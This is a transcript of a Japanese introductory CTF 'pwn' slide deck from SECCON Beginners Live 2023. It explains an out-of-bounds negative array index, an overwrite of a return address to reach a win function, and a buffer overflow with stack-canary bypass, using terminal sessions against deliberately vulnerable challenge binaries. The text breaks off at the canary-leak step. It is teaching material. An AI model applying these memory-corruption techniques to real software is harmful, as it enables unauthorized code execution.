Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
pwn入門 / introduction to pwn
Search
Arata
September 03, 2023
2.8k
1
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
pwn入門 / introduction to pwn
Arata
September 03, 2023
More Decks by Arata
See All by Arata
Operating Systems: Three Easy Pieces, Chapter 49 / Sun's Network File System (NFS)
arata_nvm
0
7
デコンパイラ研究調査
arata_nvm
1
20
コンパイラ基盤を支える言語たち
arata_nvm
1
73
LLVMのDSL”TableGen”向け言語サーバーの開発
arata_nvm
0
26
5分でわかるPage-Fault Weird Machine
arata_nvm
2
360
eBPFを用いたAndroid向けデバッガ「eDBG」のx86_64 Linuxへの移植
arata_nvm
0
23
Pythonのcopy-and-patch JITの実装を読む
arata_nvm
0
150
eBPFを使った動的解析手法
arata_nvm
1
800
カーネルハック実験の振り返り
arata_nvm
1
63
Featured
See All Featured
Visualization
eitanlees
152
17k
Measuring & Analyzing Core Web Vitals
bluesmoon
9
880
A designer walks into a library…
pauljervisheath
211
24k
ReactJS: Keep Simple. Everything can be a component!
pedronauck
666
130k
Noah Learner - AI + Me: how we built a GSC Bulk Export data pipeline
techseoconnect
PRO
0
220
How to train your dragon (web standard)
notwaldorf
97
6.7k
The Pragmatic Product Professional
lauravandoore
37
7.4k
RailsConf 2023
tenderlove
30
1.5k
Statistics for Hackers
jakevdp
799
230k
Breaking role norms: Why Content Design is so much more than writing copy - Taylor Woolridge
uxyall
0
350
So, you think you're a good person
axbom
PRO
2
2.1k
Bridging the Design Gap: How Collaborative Modelling removes blockers to flow between stakeholders and teams @FastFlow conf
baasie
0
610
Transcript
pwn入門 2023/09/03 SECCON Beginners Live 2023 @Arata
2023/09/03 SECCON Beginners Live 2023 | #ctf4b 自己紹介 - Twitter(X):
@arata_nvm - 所属 - SECCON Beginners 運営チーム - 筑波大学 - 興味のあること - 型理論 - 言語処理系 - Beginners CTF 2023で担当した問題 - Reversing: heaven - Pwnable: poem, rewriter2 2
2023/09/03 SECCON Beginners Live 2023 | #ctf4b 今日話すこと - ターゲット
- CTFを始めたばかりの方 - pwnに興味を持っている方 - ゴール - pwnのbeginner~easy問題を調べながら解けるようになる 3
2023/09/03 SECCON Beginners Live 2023 | #ctf4b 今日話すこと • pwnの概要
• 問題解説 ◦ poem ◦ rewriter (Beginners CTF 2022) ◦ rewriter2 4
pwnの概要
2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnとは - 脆弱性のあるプログラムを攻撃して、サーバー内に保存されている
flag(文字列)を入手する問題ジャンル - pwnableやbinary exploitationとも呼ばれることがある 6 1. 攻撃 プレイヤー サーバー プログラム flag 2. flagを入手
2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnの出題例 - プレイヤーに与えられるもの
- 問題名 - 問題文 - バイナリ - サーバーへの接続情報 - (ソースコード) 7 https://pwnable.xyz/
2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnの基本的な解き方 1. 脆弱性を含むプログラムが配布される
2. プログラムを解析して脆弱性を特定する 3. サーバー上で動くプログラムを攻撃してflagを入手する 8
2023/09/03 SECCON Beginners Live 2023 | #ctf4b pwnの基本的な解き方 - flagが保存されている場所
- メモリ - ファイル - 環境変数 - flagを入手する手段 - flagを表示する関数を呼び出す - flagを読み込んで送信するコードを実行させる - シェルを実行させる 9
2023/09/03 SECCON Beginners Live 2023 | #ctf4b 補足: シェル -
テキストベースでOSを操作するためのソフトウェア - コマンドを介してプログラムの実行、ファイルの操作などが行える - Linuxではsh, bash, zshなどが使われる 10 $ cd ctf4b-live $ ls flag.txt $ cat flag.txt ctf4b{w3lc0me_t0_s3cc0n_b3g1nn3rs_l1v3_2023!}
2023/09/03 SECCON Beginners Live 2023 | #ctf4b Beginners CTF 2023の結果(pwn)
問題名 想定難易度 solve数 poem beginner 292 rewriter2 easy 95 Forget_Some_Exploit easy 51 Elementary_ROP medium 52 driver4b medium 19 No_Control hard 15 11
問題解説
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / 問題概要
- Beginner問題 - 292 solves - 配布ファイル - 問題バイナリ - 問題バイナリのソースコード - 作問テーマ - 符号付き整数の範囲チェックにおける脆弱性を発見できること 13
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの挙動
- プログラムを実行すると数値の入力を促される - 0~4の数値を入力すると対応するポエムが表示される $ ./poem Number[0-4]: 0 In the depths of silence, the universe speaks. 14
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの挙動
- 4より大きい数値を入力すると何も表示せずに終了する $ ./poem Number[0-4]: 5 15
2023/09/03 SECCON Beginners Live 2023 | #ctf4b 入力された数値が5未満 ならばポエムを表示する 数値を入力させる
poem / ソースコード #include <stdio.h> #include <unistd.h> char *flag = "ctf4b{***CENSORED***}"; char *poem[] = { "In the depths of silence, the universe speaks.", [...] }; int main() { int n; printf("Number[0-4]: "); scanf("%d", &n); if (n < 5) { printf("%s\n", poem[n]); } return 0; } [...] flagとpoemをグローバル変 数として定義 16
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / ここまでにわかったこと
- 入力した数値に応じてポエムを表示するプログラムが与えられた - 配列poemのインデックスに使用する値は5未満の任意の数値に設定できる - グローバル変数flagにアクセスできればフラグが入手できる 17
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの脆弱性
- 数値の範囲チェック(`n < 5`)に脆弱性がある - 変数nはint型 → 値の範囲は[-2,147,483,648, 2,147,483,647] - n < 5を満たす値の範囲は[-2,147,483,648, 4] - 配列poemのインデックスに負の数を指定できる 18 https://learn.microsoft.com/ja-jp/cpp/cpp/data-type-ranges?view=msvc-170
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムの脆弱性
- 数値として-1を入力するとプログラムが異常終了する $ ./poem Number[0-4]: -1 Segmentation fault (core dumped) 19
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムが異常終了した原因
- 配列はメモリ上の連続した領域に配置される - インデックスが大きい要素は上位のアドレスに配置される 20 poem[0] poem[1] poem[2] poem[3] poem[4] メモリの模式図 ↓上位 ↑下位
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムが異常終了した原因
21 - インデックスに負の数を指定すると配列の前の領域にアクセスできる - 例ではpoem[-1]に無効なアドレスが置かれていたためsegfaultが発生した poem[-1] poem[0] poem[1] poem[2] poem[3] poem[4] メモリの模式図 ↓上位 ↑下位
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / プログラムが異常終了した原因
22 - インデックスに負の数を指定すると配列の前の領域にアクセスできる - 例ではpoem[-1]に無効なアドレスが置かれていたためsegfaultが発生した poem[-1] poem[0] poem[1] poem[2] poem[3] poem[4] メモリの模式図 もしflagが配列poemより下位の領域に 置かれていればアクセスできる ↓上位 ↑下位
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagとpoemのアドレスを調べる
- nmコマンドを用いるとシンボルのアドレスを調べられる $ nm ./poem [...] 0000000000004020 D flag [...] 0000000000004040 D poem [...] 23
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagとpoemのアドレスを調べる
- flagとpoemはメモリ上で以下のように配置されている - 配列の1要素を8バイトとして想定 24 0x4020: flag 0x4028: 0x4030: 0x4038: 0x4040: poem[0] メモリの模式図 0x4048: poem[1]
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagとpoemのアドレスを調べる
25 0x4020: poem[-4], flag 0x4028: poem[-3] 0x4030: poem[-2] 0x4038: poem[-1] 0x4040: poem[0] メモリの模式図 0x4048: poem[1] - flagとpoemはメモリ上で以下のように配置されている - 配列の1要素を8バイトとして想定
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / flagを入手する
- アドレスの情報からflagがpoem[-4]の位置に置かれていることがわかった - -4を入力するとflagが手に入る $ ./poem Number[0-4]: -4 ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3} 26
2023/09/03 SECCON Beginners Live 2023 | #ctf4b poem / まとめ
- 脆弱性 - 符号付き整数の範囲チェックが正しく行われていなかった - 解法 1. flagとpoemのアドレスを調べる 2. flagのアドレスとpoem[-4]のアドレスが等しいことを確認する 3. flagを入手する 27
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter (Beginners CTF
2021) / 問題概要 - Beginners問題 - 205 solves - 配布ファイル - 問題バイナリ - 問題バイナリのソースコード 28
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / バイナリの挙動
- プログラムを実行するとスタックの状態が表示される - その後、任意のアドレスの値を書き換えることができる $ ./chall [Addr] |[Value] ====================+=================== 0x00007ffcc782de90 | 0x0000000000000000 <- buf 0x00007ffcc782de98 | 0x0000000000000000 0x00007ffcc782dea0 | 0x0000000000000000 0x00007ffcc782dea8 | 0x0000000000000000 0x00007ffcc782deb0 | 0x0000000000000000 <- target 0x00007ffcc782deb8 | 0x0000000000000000 <- value 0x00007ffcc782dec0 | 0x0000000000000000 <- saved rbp 0x00007ffcc782dec8 | 0x00007f6a37738083 <- saved ret addr 0x00007ffcc782ded0 | 0x00007f6a37947620 0x00007ffcc782ded8 | 0x00007ffcc782dfb8 Where would you like to rewrite it? > 0x000000000000ffff 0x000000000000ffff = 0 29
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / ソースコード
[...] void win() { execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); } int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; show_stack(buf); printf("Where would you like to rewrite it?\n> "); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; target = strtol(buf, NULL, 0); printf("0x%016lx = ", target); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; value = strtol(buf, NULL, 0); *(long*)target = value; } [...] 30 flagを表示する関数 スタックの状態を表示する 指定されたアドレスの値を 書き換える
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / ここまでにわかったこと
- 最初にスタックのアドレスと値を知ることができる - 1回だけ任意のアドレスの値を書き換えることができる - win関数を呼び出せばflagが手に入る 31
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタック
- 実行中の関数に関するデータが置かれるメモリの領域 - pwnの文脈ではコールスタックのことを指す場合が多い - 以下のデータが置かれている - ローカル変数 - 引数 - リターンアドレス 32
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタック上のローカル変数
int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; [...] } [Addr] |[Value] ====================+=================== 0x00007ffcc782de90 | 0x0000000000000000 <- buf 0x00007ffcc782de98 | 0x0000000000000000 0x00007ffcc782dea0 | 0x0000000000000000 0x00007ffcc782dea8 | 0x0000000000000000 0x00007ffcc782deb0 | 0x0000000000000000 <- target 0x00007ffcc782deb8 | 0x0000000000000000 <- value 0x00007ffcc782dec0 | 0x0000000000000000 <- saved rbp 0x00007ffcc782dec8 | 0x00007f6a37738083 <- saved ret addr 0x00007ffcc782ded0 | 0x00007f6a37947620 0x00007ffcc782ded8 | 0x00007ffcc782dfb8 - main関数ではローカル変数としてtarget, value, bufが定義されている 33
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタック上のリターンアドレス
- 関数の処理が終わったあと、どこから実行を再開すればよいかの情報が スタック上にリターンアドレスとして記憶されている - 問題バイナリでは__libc_start_main関数内のアドレスが記憶されている [Addr] |[Value] ====================+=================== 0x00007ffcc782de90 | 0x0000000000000000 <- buf 0x00007ffcc782de98 | 0x0000000000000000 0x00007ffcc782dea0 | 0x0000000000000000 0x00007ffcc782dea8 | 0x0000000000000000 0x00007ffcc782deb0 | 0x0000000000000000 <- target 0x00007ffcc782deb8 | 0x0000000000000000 <- value 0x00007ffcc782dec0 | 0x0000000000000000 <- saved rbp 0x00007ffcc782dec8 | 0x00007f6a37738083 <- saved ret addr 0x00007ffcc782ded0 | 0x00007f6a37947620 0x00007ffcc782ded8 | 0x00007ffcc782dfb8 34
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 35 0x01: 0x02: スタックの模式図 main
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 36 スタックの模式図 main 0x01: 0x02:
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 37 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) 0x01: 0x02:
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 38 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) 0x01: 0x02:
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 39 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) func2: ローカル変数(fuga) func2: リターンアドレス(0x02) 0x01: 0x02:
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 40 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) func2: ローカル変数(fuga) func2: リターンアドレス(0x02) 0x01: 0x02:
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 41 スタックの模式図 main func1: ローカル変数(hoge) func1: リターンアドレス(0x01) 0x01: 0x02:
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / スタックの例
void main() { func1(); } void func1() { int hoge; func2(); } void func2() { int fuga; } 42 スタックの模式図 main 0x01: 0x02:
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / flagを手に入れるには
- 目指すこと - win関数を呼び出す - できること - win関数のアドレスがわかる - どのアドレスにリターンアドレスが置かれているかがわかる - 任意のアドレスの値を書き換えることができる → リターンアドレスをwin関数のアドレスに書き換えればflagが手に入る 43
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / win関数のアドレスを調べる
- nmコマンドを用いるとwin関数が0x4011f6に位置することがわかる $ nm ./chall [...] 00000000004011f6 T win 44
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / flagを入手する
$ ./chall [Addr] |[Value] ====================+=================== 0x00007ffec2cb8460 | 0x0000000000000000 <- buf 0x00007ffec2cb8468 | 0x0000000000000000 0x00007ffec2cb8470 | 0x0000000000000000 0x00007ffec2cb8478 | 0x0000000000000000 0x00007ffec2cb8480 | 0x0000000000000000 <- target 0x00007ffec2cb8488 | 0x0000000000000000 <- value 0x00007ffec2cb8490 | 0x0000000000000000 <- saved rbp 0x00007ffec2cb8498 | 0x00007f3c2898b083 <- saved ret addr 0x00007ffec2cb84a0 | 0x00007f3c28b9a620 0x00007ffec2cb84a8 | 0x00007ffec2cb8588 Where would you like to rewrite it? > 0x00007ffec2cb8498 0x00007ffec2cb8498 = 0x4011f6 - リターンアドレスを0x4011f6に書き換える - flagが手に入る 45
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / flagを入手する
$ ./chall [Addr] |[Value] ====================+=================== 0x00007ffec2cb8460 | 0x0000000000000000 <- buf 0x00007ffec2cb8468 | 0x0000000000000000 0x00007ffec2cb8470 | 0x0000000000000000 0x00007ffec2cb8478 | 0x0000000000000000 0x00007ffec2cb8480 | 0x0000000000000000 <- target 0x00007ffec2cb8488 | 0x0000000000000000 <- value 0x00007ffec2cb8490 | 0x0000000000000000 <- saved rbp 0x00007ffec2cb8498 | 0x00007f3c2898b083 <- saved ret addr 0x00007ffec2cb84a0 | 0x00007f3c28b9a620 0x00007ffec2cb84a8 | 0x00007ffec2cb8588 Where would you like to rewrite it? > 0x00007ffec2cb8498 0x00007ffec2cb8498 = 0x4011f6 (続き) [Addr] |[Value] ====================+=================== 0x00007ffec2cb8460 | 0x3666313130347830 <- buf 0x00007ffec2cb8468 | 0x343862633263000a 0x00007ffec2cb8470 | 0x00000000000a3839 0x00007ffec2cb8478 | 0x0000000000000000 0x00007ffec2cb8480 | 0x00000000004011f6 <- target 0x00007ffec2cb8488 | 0x00007ffec2cb8498 <- value 0x00007ffec2cb8490 | 0x0000000000000000 <- saved rbp 0x00007ffec2cb8498 | 0x00000000004011f6 <- saved ret addr 0x00007ffec2cb84a0 | 0x00007f3c28b9a620 0x00007ffec2cb84a8 | 0x00007ffec2cb8588 ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck} - リターンアドレスを0x4011f6に書き換える - flagが手に入る 46
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter / まとめ
- 解法 1. win関数のアドレスを調べる 2. main関数のリターンアドレスが置かれる場所を調べる 3. リターンアドレスをwin関数のアドレスに書き換える 4. flagを入手する 47
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / 問題概要
- Easy問題 - 95 solves - 配布ファイル - 問題バイナリ - 問題バイナリのソースコード - 作問テーマ - BOFを利用してリターンアドレスを書き換えられること 48
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / プログラムの挙動
- プログラムを実行すると名前と年齢を聞かれる $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | xxxxx hidden xxxxx <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 What's your name? hoge Hello, hoge [...] How old are you? fuga Thank you! [...] 49
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / プログラムの挙動
- スタックにcanaryが増えている $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | xxxxx hidden xxxxx <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 What's your name? hoge Hello, hoge [...] How old are you? fuga Thank you! [...] 50
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / ソースコード
[...] int main() { char buf[BUF_SIZE]; __show_stack(buf); printf("What's your name? "); read(0, buf, READ_SIZE); printf("Hello, %s\n", buf); __show_stack(buf); printf("How old are you? "); read(0, buf, READ_SIZE); puts("Thank you!"); __show_stack(buf); return 0; } void win() { puts("Congratulations!"); system("/bin/sh"); } [...] 51 スタックの状態を表示する スタックの状態を表示する スタックの状態を表示する 名前を聞いてbufに 保存し表示する 年齢を聞きbufに保存する シェルを実行する
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / ここまでにわかったこと
- スタックのアドレスと値を3回知ることができる - 実行直後 - 名前を入力したあと - 年齢を入力したあと - win関数を呼び出せばシェルを実行できる - → flagが手に入る - read関数によりbufに任意のデータを2回書き込むことができる - printf関数によりbufのデータを1回表示できる 52
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / プログラムの脆弱性
- BUF_SIZEは0x20 - READ_SIZEは0x100 - 0x20バイトのバッファーに対して0x100バイトのデータを読み込んでいる - バッファーの領域を超えてデータを 書き込むことができる脆弱性 = Buffer overflow(BOF) [...] #define BUF_SIZE 0x20 #define READ_SIZE 0x100 int main() { char buf[BUF_SIZE]; __show_stack(buf); printf("What's your name? "); read(0, buf, READ_SIZE); printf("Hello, %s\n", buf); [...] } 53
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF
- BOFによりバッファーの上位にあるデータを書き換えることができる - main関数のリターンアドレスはバッファーbufの上位にある - =書き換えられる $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | xxxxx hidden xxxxx <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 54
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF
$ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 55 0x20バイトより長い名前を入力する
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF
$ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 56 0x20バイトより長い名前を入力する リターンアドレスが書き換えられる (0x41 = ‘A’)
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF
$ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 57 0x20バイトより長い名前を入力する リターンアドレスが書き換えられる (0x41 = ‘A’) プログラムが異常終了する
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF
- リターンアドレスは書き換えられたが、異常終了してしまった - スタックにおけるBOFを防ぐためのセキュリティ機構SSPが作動したため - SSP: Stack Smash Protection 58
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / BOF
$ ./rewriter2 [...] What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [Addr] | [Value] ====================+=================== 0x00007fff0fe9c360 | 0x4141414141414141 <- buf 0x00007fff0fe9c368 | 0x4141414141414141 0x00007fff0fe9c370 | 0x4141414141414141 0x00007fff0fe9c378 | 0x4141414141414141 0x00007fff0fe9c380 | 0x4141414141414141 0x00007fff0fe9c388 | xxxxx hidden xxxxx <- canary 0x00007fff0fe9c390 | 0x4141414141414141 <- saved rbp 0x00007fff0fe9c398 | 0x4141414141414141 <- saved ret addr 0x00007fff0fe9c3a0 | 0x4141414141414141 0x00007fff0fe9c3a8 | 0x4141414141414141 *** stack smashing detected ***: terminated Aborted (core dumped) 59 canaryが書き換えられている
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの基本的なしくみ
1. 関数の最初: スタック上のローカル変数のリターンアドレスの間に、canaryと呼ばれ るランダムな値を配置する 2. 関数の最後: canaryが1の値と等しいことを確認する a. 等しい場合: BOFによってリターンアドレスが書き換えられていない b. 等しくない場合: BOFによってリターンアドレスが書き換えられている → その時点でプログラムを終了させる 60 0x00000000: ローカル変数 0x44739274: canary 0x00040020: リターンアドレ ス メモリの模式図
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの基本的なしくみ
1. 関数の最初: スタック上のローカル変数のリターンアドレスの間に、canaryと呼ばれ るランダムな値を配置する 2. 関数の最後: canaryが1の値と等しいことを確認する a. 等しい場合: BOFによってリターンアドレスが書き換えられていない b. 等しくない場合: BOFによってリターンアドレスが書き換えられている → その時点でプログラムを終了させる 61 0x41414141: ローカル変数 0x44739274: canary 0x00040020: リターンアドレ ス メモリの模式図
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの基本的なしくみ
1. 関数の最初: スタック上のローカル変数のリターンアドレスの間に、canaryと呼ばれ るランダムな値を配置する 2. 関数の最後: canaryが1の値と等しいことを確認する a. 等しい場合: BOFによってリターンアドレスが書き換えられていない b. 等しくない場合: BOFによってリターンアドレスが書き換えられている → その時点でプログラムを終了させる 62 0x41414141: ローカル変数 0x41414141: canary 0x41414141: リターンアドレ ス メモリの模式図
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / SSPの回避
- SSPでプログラムを終了させずにBOFでリターンアドレスを書き換えたい - バッファーに2回書き込めることを利用する - 1回目の書き込み: BOFをうまく使ってcanaryの値をリークさせる - 2回目の書き込み: リークさせたcanaryの値を使いつつリターンアドレスを書き換え る 63
2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / canaryをリークさせる
